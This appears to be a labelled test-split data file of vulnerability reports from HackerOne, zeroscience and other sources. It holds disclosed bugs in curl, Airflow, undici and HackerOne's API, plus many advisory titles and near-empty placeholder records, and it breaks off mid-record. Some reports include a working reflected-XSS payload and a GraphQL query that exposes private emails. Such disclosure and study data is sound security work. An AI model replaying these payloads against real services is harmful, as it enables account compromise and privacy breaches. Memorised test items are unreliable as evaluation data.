{"id": "8c08461c3b81ff8b7289", "text": "[Uncontrolled Resource Consumption] HTTP/2 PUSH_PROMISE DoS\n\n## Summary:\nIn `discard_newhandle` the condition in the `if` statement is always `false` for http transfer due to a negation.\nAs a result `http2_data_done` will never be called.\n```\nstatic void discard_newhandle(struct Curl_cfilter *cf,\n                              struct Curl_easy *newhandle)\n{\n  if(!newhandle->req.p.http) {\n    http2_data_done(cf, newhandle, TRUE);\n    newhandle->req.p.http = NULL;\n  }\n  (void)Curl_close(&newhandle);\n}\n```\n\n`discard_newhandle` is supposed to close stream and free resources allocated in `http2_data_setup` \nas well as close `Curl_easy` handle when some error occurs in `push_promise`.\nFor example if `PUSH_PROMISE` frame has invailid `:scheme` pseudo header `set_transfer_url` in `push_promise` will return an error.\n```\n    rv = set_transfer_url(newhandle, &heads);\n    if(rv) {\n      discard_newhandle(cf, newhandle);\n      rv = CURL_PUSH_DENY;\n      goto fail;\n    }\n```\nAn attacker could send specially crafted `PUSH_PROMISE` frames to trigger the error.\nThis would result in a memory leak for every malformed frame received, consequently using all available memory. \n\n\n\n## Steps To Reproduce:\n\n  1. compile `nghttp2` with {F3099706} applied\n  1. compile {F3099707}\n  1. run `nghttpd -p/=/foo.bar --no-tls 8181`\n  1. run `valgrind --leak-check=full ./http2_push_headers`\n\nfor each `-p` option `nghttpd` will send 200 `PUSH_PROMISE` frames with invalid `:scheme` header\n\n## Supporting Material/References:\n\n`valgrind --leak-check=full ./http2_push_headers` output:\n```\n==5247== \n==5247== HEAP SUMMARY:\n==5247==     in use at exit: 162,946 bytes in 873 blocks\n==5247==   total heap usage: 7,170 allocs, 6,297 frees, 1,696,049 bytes allocated\n==5247== \n==5247== 70,400 bytes in 200 blocks are definitely lost in loss record 6 of 7\n==5247==    at 0x48485EF: calloc (vg_replace_malloc.c:1340)\n==5247==    by 0x48ADC29: http2_data_setup (http2.c:249)\n==5247==    by 0x48AF154: h2_duphandle (http2.c:789)\n==5247==    by 0x48AF420: push_promise (http2.c:877)\n==5247==    by 0x48AFCF6: on_stream_frame (http2.c:1065)\n==5247==    by 0x48B08C7: on_frame_recv (http2.c:1265)\n==5247==    by 0x4C36AE3: nghttp2_session_mem_recv (in /usr/lib64/libnghttp2.so.14.26.0)\n==5247==    by 0x48AE851: h2_process_pending_input (http2.c:551)\n==5247==    by 0x48B294F: h2_progress_ingress (http2.c:1930)\n==5247==    by 0x48B2B54: cf_h2_recv (http2.c:1969)\n==5247==    by 0x4877F03: Curl_conn_recv (cfilters.c:183)\n==5247==    by 0x48DB1B3: Curl_read (sendf.c:813)\n==5247== \n==5247== LEAK SUMMARY:\n==5247==    definitely lost: 70,400 bytes in 200 blocks\n==5247==    indirectly lost: 0 bytes in 0 blocks\n==5247==      possibly lost: 0 bytes in 0 blocks\n==5247==    still reachable: 92,546 bytes in 673 blocks\n==5247==         suppressed: 0 bytes in 0 blocks\n==5247== Reachable blocks (those to which a pointer was found) are not shown.\n==5247== To see them, rerun with: --leak-check=full --show-leak-kinds=all\n==5247== \n==5247== For lists of detected and suppressed errors, rerun with: -s\n==5247== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)\n```\n\n## Impact\n\ndenial of service", "source": "hackerone", "timestamp": "2024-03-27", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "8ed77a8c73079c92ab3a", "text": "ABB Cylon FLXeon 9.3.4 Unauthenticated Dashboard Access\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "095bad15fe6439979a37", "text": "I never really liked THM, imo it’s too easy, even for beginners and it gives you a false idea of confidence (could be wrong, I’m open for discussion). Like both @Magnus and @hoek mentioned, HTB Academy and Portswigger Academy are pretty good. I’ll say CEH is not the best way to go, tho I have limited experience/knowledge about it. About shaping your career I’d say go with whatever you feel like doing (pentesting, malware, whatever) but make sure you do a lot of practical/hands-on-keyboard work. That’s the only real thing that matters. Labs, bug bounties, writing malware, whatever. Just do and break stuff.", "source": "0x00sec", "timestamp": "2026-02-10", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "5ed0197c456a439af573", "text": "ABB Cylon Aspect 3.07.02 (userManagement.php) Weak Password Policy\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0980fcb90670f9ad07ae", "text": "ABB Cylon FLXeon 9.3.4 (cert.js) System Logs Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4b57a5274b5031076b91", "text": "[Improper Authentication - Generic] CVE-2024-25128: Apache Airflow: Authentication Bypass when Legacy OpenID(2.0) is in use as AUTH_TYPE\n\nWhen OpenID(2.0) is in use as Authentication Type, it is possible for an attacker to forge authentication to any existing account in the Target Airflow installation. This was possible via deceiving the backend of app to trust arbitrary OpenID 2.0 Identity Provider(even if the provider is not in the trusted IDP list in config). In conclusion, an attacker could deploy their own IDP and could alter the target app's authentication fully and gain unauthorized access.\n\nThe Impact is `Critical` but as OpenID(2.0) is a legacy mechanism, the severity was lowered to `Medium` on the basis of low usage probability.\n\n### Details:\nAirflow uses Flask-AppBuilder as basic authenication and authorization manager under the hood. It is possible to configure the service in the Airflow config file for desired Authentication option. The Options for using OpenID 2.0 as auth type is as following:\n1. `AUTH_TYPE = AUTH_OID` should be defined\n2. Uncommenting the following lines:\n\n{F3097175}\nAs it is seen from the attachment, there is a predefined list of allowed IDPs, normally the backend should have checked for provided values(idp urls) from client with the allowed idp list in backend, but didn't.\n\n#### Attack flow\nWhen OpenID(2.0) is enabled, the login page of Airflow looks like this:\n\n{F3097214}\n\nSelecting a provider from list and clicking `Sign In` button triggers a request like this:\n\n{F3097199}\n\nThe one body parameter of this `POST` request to `/login/` page, `openid` is used to define IDP provider Url. An attacker could change this url to their malicious IDP and can make a `fake` authentication and deceive the backend to trust it(as the `allowed providers` check wasn't properly done).\nFor a quick Proof of Concept demonstration, 'https://openstackid.org' idp can be used:\n\n{F3097206}\n\nAfter successful auth with provider, the attacker will be redirected to Airflow and logged in as target existing user account:\n\n{F3097209}\n\nLeading to Full Account Hijacking\n\n### Advisory and Acknowledgement Details\nThe Project Advisory:\nhttps://lists.apache.org/thread/kf5kyfl6626kmp1wlxm6h0gk7vobny0y\n\nThe Github Advisory:\nhttps://github.com/dpgaspar/Flask-AppBuilder/security/advisories/GHSA-j2pw-vp55-fqqj\n\nScreenshot of email from the Team for Acknowledgement:\n\n████\n\nExtra screenshot, from a part of report email:\n\n██████████\n\n## Impact\n\nFull Authentication Bypass via deceiving the backend server to trust arbitrary OpenID(2.0) IDPs.", "source": "hackerone", "timestamp": "2024-04-28", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "2db412a5f842cb7b71e4", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "329b573f1e595dfe8d4a", "text": "ABB Cylon Aspect 3.08.01 (databaseFileDelete.php) Arbitrary File Delete\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-23", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "7da8b0c622090714a2ba", "text": "vict0ni: There should be a way to make it more accessible without dumbing down the content. I think that’s the problem. You can’t realistically have one without the other. A larger audience will inevitably have a larger diversity of skills and mindsets. I point you towards my observations of the largest conferences as anecdotal evidence. Not just Defcon, it’s happening here with the largest conference in my country too. I think that smaller, tighter-knit or invite-only conferences are always the best, from a very limited sample set with more anecdotal evidence. vict0ni: Communities should not be opposed to those people, even if they are inexperienced. But this should come with actual effort from their side! I think it’s hard to know if someone would actually put in effort or not. I would wager that it’s the far minority who do. I don’t mean all communities should gatekeep though, just the smaller ones who want to get things done. The people in those smaller circles can always reach out and invite others in after some vetting. The larger and accessible communities can stay as they are now and possible serve as an intermediary space for people to meet. You know, as they already are. vict0ni: This to an excess can lead to not allowing any new people to learn from more experienced ones, which is also part of this community imo. Part of me is resisting the urge to say “skill issue” but another part also believes that fresh people learning shouldn’t actually be the problem. I might be biased because I am basically completely self-taught in a time where the internet wasn’t filled with blogs regurgitating the same information a hundred times and everyone attempting to sell their own courses. Learning beginner concepts should theoretically be the easiest part since there’s so much out there to find. Although I will say that getting started could be a problem since you don’t know where to look for anything. But that’s part of the skills and mindset you should have regardless if you want to participate in higher-quality communities. Otherwise we end up right back to the issue of those people who make bad experiences for people who want to get things done. They’re always yapping about how to do this or do that when they should just experiment and learn by themselves. Larger communities can stay accessible as they are, but if you want better communities, I still think fragmenting off into smaller ones and gatekeeping them is the right call. You can’t have your cake and eat it too.", "source": "0x00sec", "timestamp": "2026-04-14", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "eaef69fb5efa18dc3160", "text": "eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "6a542bceb83d568b7693", "text": "TELSAT marKoni FM Transmitter 1.9.5 Client-Side Access Control Bypass\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-01-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "10399e2e30d91c10b97f", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "5639a342c18fbfe470dd", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "05ebc4a27896c2ee8cf2", "text": "Akuvox Smart Intercom/Doorphone ServicesHTTPAPI Improper Access Control\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-11-26", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "294c34a93e7feb6d0983", "text": "ABB Cylon Aspect 3.08.01 (logCriticalLookup.php) Unauthenticated Log Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-10-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "c293c7435cc89680e3c2", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "ba1179455994192e9e02", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Reverse Rootshell\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-09-05", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "dfd5c86245df05925d05", "text": "ABB Cylon Aspect 3.08.03 (MIX->NTPServlet) Time Manipulation\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "01a722e0b1ee30a07b11", "text": "Ilevia EVE X1 Server 4.7.18.0.eden Unauthenticated Reflected XSS\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-10-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "4bc5ec2117f261f00ead", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "74fb9a57fa2c4439ff7b", "text": "===============\n\nClass: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "021d49a247be501ffbf7", "text": "ABB Cylon Aspect 3.08.03 (logYumLookup.php) Hybrid Path Traversal\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2a0847c5ecd8f3a6ff49", "text": "JUNG Smart Visu Server 1.1.1050 Request URL Override\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-02-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d90cb8761d300e981246", "text": "Ilevia EVE X1/X5 Server 4.7.18.0.eden Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-11-03", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f5782e42d9cada4ac6b0", "text": "Tattile Cameras 1.181.5 Unauthenticated RTSP Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2026-02-24", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "57cde543bcb555e67494", "text": "ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-31", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "624dd923c1ae1098689d", "text": "[Cross-site Scripting (XSS) - Reflected] #3 XSS on watchdocs.indriverapp.com\n\n## Summary:\nFound an XSS\n\n## Steps To Reproduce:\n\n  1. Go to https://watchdocs.indriverapp.com/webview/v1/transport-change?phone=██████&token=█████████&service=intercity3&jwt=fw%22%3E%3Cimg%20src=fwa%20onerror=alert(1)%3E\n  \n\n## Supporting Material/References:\n████\n\n## Impact\n\nExecute Javascript on any victim browser", "source": "hackerone", "timestamp": "2024-04-11", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "222dcf21636a8eedc197", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "bb06c533210f6dc2b8de", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "93eb3548b48b300293c5", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "620356005f5426050014", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "22a84b9d0d0553ec8e89", "text": "[Seebug SSV-99921] Browser Use WebUI 反序列化漏洞\nSeverity: high\nDate: 2025-04-29\nCVE: N/A", "source": "seebug", "timestamp": "2025-04-29", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "5118fed178cf6a154bcf", "text": "ABB Cylon Aspect 4.00.00 (factorySetSerialNum.php) Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-03", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "38c9afe05c0e5f7d8b52", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "84aacb68d2bdb6692828", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "01320380c5560a8ae52d", "text": "Nova_draft101: find / -name *.bak 2>/dev/null |wc -l 4 for *.bak In fact I had 2 files. As I showed some written by other users - system is compromised…", "source": "hackthebox", "timestamp": "2024-07-14", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "5dbc425af0e46447211c", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "eef0cb61bcd5d3d3bb86", "text": "This is really great, thanks for sharing this “hot” information lol…, ur the best++++", "source": "0x00sec", "timestamp": "2026-04-09", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "b5bbcfe7e83289546d63", "text": "ABB Cylon FLXeon 9.3.4 Session Persistence Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-02-13", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "376c9e972e2abe94b5e0", "text": "ABB Cylon Aspect 3.07.02 (user.properties) Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-11", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "b193fbd72937be823676", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "cb764ad92c65cf289110", "text": "Pachno 1.0.6 FileCache Deserialization Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "8dc9fa52ba20848b95eb", "text": "ABB Cylon Aspect 3.08.01 (pupDumpStats.php) Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2024-12-11", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "a726e717be7d8eb1d090", "text": "[Violation of Secure Design Principles] fetch with integrity option is too lax when algorithm is specified but hash value is in incorrect\n\n__A potential solution is attached as 0001-improve-bytesMatch.patch__\n\n**Summary:** \nI was investigating for some low hanging fruits regarding performance bottlenecks in undici, when I found this potential security issue in undici, and thus in nodejs. First I wrote a benchmark for bytesMatch and saw the following result:\n\n```sh\naras@aras-Lenovo-Legion-5-17ARH05H:~/workspace/undici$ node benchmarks/bytesMatch.mjs \ncpu: AMD Ryzen 7 4800H with Radeon Graphics\nruntime: node v21.6.2 (x64-linux)\n\nbenchmark                                    time (avg)             (min … max)       p75       p99      p999\n------------------------------------------------------------------------------- -----------------------------\nbytesMatch valid sha256 and base64        2'292 ns/iter   (2'009 ns … 9'452 ns)  2'209 ns  7'709 ns  9'452 ns\nbytesMatch invalid sha256 and base64      2'153 ns/iter   (2'013 ns … 2'306 ns)  2'209 ns  2'275 ns  2'306 ns\nbytesMatch valid sha256 and base64url       243 ns/iter       (205 ns … 318 ns)    261 ns    286 ns    301 ns\nbytesMatch invalid sha256 and base64url     245 ns/iter       (203 ns … 400 ns)    264 ns    320 ns    390 ns\n```\n\nSee attached 0001-add-benchmark.patch\n\nSo for some reason base64url was significantly faster than base64, even in the invalid case. So further investigations resulted in the finding that parseHashWithOptions in the underlying undici library is not matching base64url encoded hashes. Worse it is not matching any algorithms provided with invalid hashes. E.g. `sha256--` wont result in detecting that a sha256 hash was provided, thus skipping totally the whole SRI check.\n\nhttps://github.com/nodejs/undici/blob/e1195cbf32cb5f10f25e820d580264f24c7edc71/lib/fetch/util.js#L591\n\n\n## Steps To Reproduce:\n\nSee attached 0001-add-test.patch. It contains unit tests, which you can run against main branch.\n\n## Impact: \n\nResources which should be checked via SRI Logic are loaded nonetheless. \n\n## Supporting Material/References:\n\n  * List any additional material (e.g. screenshots, logs, references, commits, code examples, etc.).\n\n## Impact\n\nResources which should be checked via SRI Logic are loaded nonetheless.", "source": "hackerone", "timestamp": "2024-05-03", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "2de91142a71f682abfe8", "text": "ABB Cylon Aspect 3.07.01 (config.inc.php) Hard-coded Credentials in phpMyAdmin\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-09-26", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "836330d80a24a229cb64", "text": "Pachno 1.0.6 (runSwitchUser()) Remote Vertical Privilege Escalation\n\nSeverity: high", "source": "zeroscience", "timestamp": "2026-04-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9bc9fc140f3a79529f59", "text": "[Information Disclosure] Creation of bounties through Customer API leads to private email disclosure\n\n**Summary:**\nHello team,\nIt is possible to reveal any user email using the `BountiesHistoryQuery` request.\nTo demonstrate this, I will make use of both the API and the graphql requests.\n\n### Steps To Reproduce\n\n1. Log in to your account and create a demo\n2. Head over to https://hackerone.com/organizations/████/settings/api_tokens and create a token with the report manager role\n3. Head over to any profile of a user in hackerone and copy their user id\n4. Use this request below to award a program bounty to that user using the API. `recipient_id` is the id of any user and `{id}` is your sandbox program id.\n```\nlet inputBody = \"{\\n  \\\"data\\\": {\\n    \\\"type\\\": \\\"bounty\\\",\\n    \\\"attributes\\\": {\\n      \\\"recipient_id\\\": \\\"██████████\\\",\\n          \\\"amount\\\": 51,\\n      \\\"reference\\\": \\\"newbounty\\\",\\n      \\\"title\\\": \\\"BOUNTY FROM Sandbox\\\",\\n      \\\"currency\\\": \\\"USD\\\",\\n      \\\"severity_rating\\\": \\\"high\\\"\\n    }\\n  }\\n}\";\nlet user = 'identifier';\nlet password = 'token';\nlet headers = new Headers();\nheaders.set('Authorization', 'Basic ' + btoa(user + \":\" + password));\n  headers.set('Content-Type', 'application/json');  headers.set('Accept', 'application/json');\n\nfetch('https://api.hackerone.com/v1/programs/{id}/bounties',\n{\n  method: 'POST',\n  body: inputBody,\n  headers: headers\n})\n.then(function(res) {\n    return res.json();\n}).then(function(body) {\n    console.log(body);\n});\n\n```\n5. You will get a success message\n\n██████\n6. After awarding the bounty, make the following Graphql request. Where `handle` is the handle of your sandbox team\n```\n{\"operationName\":\"BountiesHistoryQuery\",\"variables\":{\"handle\":\"████\",\"pageSize\":25,\"product_area\":\"other\",\"product_feature\":\"other\"},\"query\":\"query BountiesHistoryQuery($handle: String!, $pageSize: Int!, $cursor: String) {\\n  team(handle: $handle) {\\n    id\\n    currency\\n    offers_bounties\\n    state\\n    bounties(first: $pageSize, after: $cursor) {\\n   pageInfo {\\n        endCursor\\n        hasNextPage\\n        __typename\\n      }\\n         edges {\\n          node {\\n          id\\n    awarded_user{username} invitations{email token}     awarded_amount\\n          awarded_bonus_amount\\n          created_at\\n          report {\\n            id\\n            database_id: _id\\n            reporter {\\n     email          id\\n              username\\n              __typename\\n            }\\n            title\\n            __typename\\n          }\\n          total_awarded_amount\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\n7. Notice the email of the user is shown in the response\n\n█████████\n\n## Impact\n\nReveal any user email", "source": "hackerone", "timestamp": "2024-03-26", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "0d1d3b4e1346800c1062", "text": "Ksenia Security Lares WebServer Home Automation Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-03-31", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d2b2bce730a8eb8a82a6", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9047ba84e783d6427389", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "1ec5e1afb325e3c3f00a", "text": "ABB Cylon Aspect 3.08.03 Hard-coded Secrets\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9a7274ee1ab626179d96", "text": "ABB Cylon Aspect 3.08.02 Cookie User Password Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2025-01-06", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "c546aaf3a2d4d61796b9", "text": "ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-19", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "27a3ebf6390bdf36b2ff", "text": "[Unknown] CVE-2024-27281: RCE vulnerability with .rdoc_options in RDoc\n\nI made a report at https://hackerone.com/reports/1187477\n\nhttps://www.ruby-lang.org/en/news/2024/03/21/rce-rdoc-cve-2024-27281/\n\n> An issue was discovered in RDoc 6.3.3 through 6.6.2, as distributed in Ruby 3.x through 3.3.0.\n> When parsing .rdoc_options (used for configuration in RDoc) as a YAML file, object injection and resultant remote code execution are possible because there are no restrictions on the classes that can be restored.\n> When loading the documentation cache, object injection and resultant remote code execution are also possible if there were a crafted cache.\n\n## Impact\n\nRCE is possible when the `rdoc` command is executed for a repository received from the external.", "source": "hackerone", "timestamp": "2024-03-29", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "9e93cf572e4788aa3c7b", "text": "ABB Cylon Aspect 3.08.01 (caldavUtil.php) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-06", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "6dd73b1ce6a219f108cc", "text": "eNet SMART HOME server 2.3.1 Use of Default Credentials\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2026-02-14", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "f431a335aa547620a01b", "text": "BYOVD: Silencing AV/EDR with CVE-2023-52271\n\nThis topic is for discussion of the post BYOVD: Silencing AV/EDR with CVE-2023-52271 . Bring Your Own Vulnerable Device (BYOVD) is a technique used in red teaming that allows users with perform kernel-level actions by exploiting a vulnerable, legitimately signed kernel device driver. Please feel free to discuss the post and ask any questions in this topic", "source": "0x00sec", "timestamp": "2026-02-12", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "0b915b5d8bbc0aef1e97", "text": "[Improper Access Control - Generic] Can download files by zipping the folder\n\n1. Create folder and share it as view-only\n\n{F2846936}\n\n2. Access this folder with Testuser\n\n{F2846943}\n\n\n3. Go one level up and compress the whole folder\n\n{F2846942}\n\n4. The zip file can be downloaded and extracted locally\n\n{F2846939}\n{F2846941}\n\n\n5. The folder itself can not be downloaded directly\n\n{F2846937}\n\n## Impact\n\nCan download files without download permissions", "source": "hackerone", "timestamp": "2024-02-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "21bd3692f7547cf4b6ea", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "f2f12b3f3e0416f0ac06", "text": "===============", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "5e7f84e1b625d510a1ec", "text": "Hi Emirhan, thanks for reaching out. Wherever you’re studying from I’m glad to hear you’ve taken an interest in this project. It had been a delightful haunt for me for days when I came across it. How much do you know about the JPEG specification and how JPEG files work? Sending headers and quantization and Huffman tables is highly redundant as the data need only contain the SOS(Start of actaully data scan) if the source and the destination are both already fully aware of the nature and format specification of the data its receiving. You wont find the typical FF D8 and FF D9 markers in it as such but that is not necessary to decode JPEG", "source": "hackthebox", "timestamp": "2024-08-14", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "232a66bbdb0c41c4fac7", "text": "[Improper Validation of Certificate with Host Mismatch] CVE-2024-2466: TLS certificate check bypass with mbedTLS\n\n## Summary:\n\nCurl library has a security vulnerability where the certificate name check is bypassed when connecting to a host via its IP address. This could potentially introduce spoofing attacks or unauthorized access due to unverified server certificate.\n\nThis issue only affects the Curl with MbedTLS.\n\n- Affected versions: from libcurl 8.5.0 to and including 8.6.0 (current master versions at the time of writing)\n- Not affected versions: libcurl 8.4.0 and earlier\n\nThis issue affect all kinds of protocol over TLS session, e.g. HTTPS, FTPS, SMTPS, etc.\n\n## Steps To Reproduce:\n\n### (Preparation) Download and build the Curl with MbedTLS:\n\n*Skip this step if you already have the Curl (>= 8.5.0) with MbedTLS.*\n\nBefore building the code, make sure you have environment to build the code in Linux, `sudo apt install build-essential`.\n\n1. Get and extract the code:\n\n```shell\nwget https://curl.se/download/curl-8.6.0.tar.gz -O curl-8.6.0.tar.gz\nwget https://github.com/Mbed-TLS/mbedtls/archive/refs/tags/v2.28.7.tar.gz -O mbedtls-2.28.7.tar.gz\ntar zxf curl-8.6.0.tar.gz\ntar zxf mbedtls-2.28.7.tar.gz\n```\n\n2. Build MbedTLS:\n\n```shell\ncd mbedtls-2.28.7\nmake SHARED=1 -j$(nproc)\nsudo make install DESTDIR=/usr/local/lib\n```\n\n3. Build Curl with MbedTLS:\n\n```shell\ncd curl-8.6.0\nexport LD_LIBRARY_PATH=/usr/local/lib\nexport PATH=/usr/local/lib:$PATH\n./configure --with-mbedtls=/usr/local --without-libpsl\nmake -j$(nproc) CFLAGS=\"-I/usr/local/include\" LDFLAGS=\"-L/usr/local/lib\"\n```\n\n### Reproduce the issue via Curl CLI:\n\nIf you build the Curl with MbedTLS from above, you should export the `LD_LIBRARY_PATH` and `PATH` to use the built Curl.\n\n```shell\nexport LD_LIBRARY_PATH=/usr/local/lib\nexport PATH=/usr/local/lib:$PATH\n```\n\n1. Check the version of the Curl:\n\n```shell\n$ curl --version\ncurl 8.6.0 (x86_64-pc-linux-gnu) libcurl/8.6.0 mbedTLS/2.28.7 zlib/1.2.11 libidn2/2.2.0\nRelease-Date: 2024-01-31\nProtocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp\nFeatures: alt-svc AsynchDNS HSTS HTTPS-proxy IDN IPv6 Largefile libz NTLM SSL threadsafe UnixSockets\n```\n\n2. Get IP from an example https server and use it to connect:\n\n```shell\n$ host -t A www.example.org\nwww.example.org has address 93.184.216.34\n$ curl https://93.184.216.34\n<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n         \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n        <head>\n                <title>404 - Not Found</title>\n        </head>\n        <body>\n                <h1>404 - Not Found</h1>\n        </body>\n</html>\n```\n\nYou could see that the Curl is able to connect to the server via its IP address. This not an expected behavior because the server certificate is not verified against the host name.\n\nThe expect result should be an error message like this:\n\n```shell\ncurl: (60) SSL: no alternative certificate subject name matches target host name '93.184.216.34'\nMore details here: https://curl.se/docs/sslcerts.html\n\ncurl failed to verify the legitimacy of the server and therefore could not\nestablish a secure connection to it. To learn more about this situation and\nhow to fix it, please visit the web page mentioned above.\n```\n\nI just demonstrated the issue with the Curl CLI, but this issue could be exploited in any application that uses the Curl library with MbedTLS and if the connection is made via IP address.\n\n## Supporting Material/References:\n\n### Cause of the 